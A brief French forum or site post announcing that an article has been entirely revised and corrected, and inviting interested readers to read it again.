          Cet article a été entièrement revu et corrigé. J'invite les personnes intéressées à en prendre ou en reprendre connaissance.

          Commentaire

          Chargement...
          X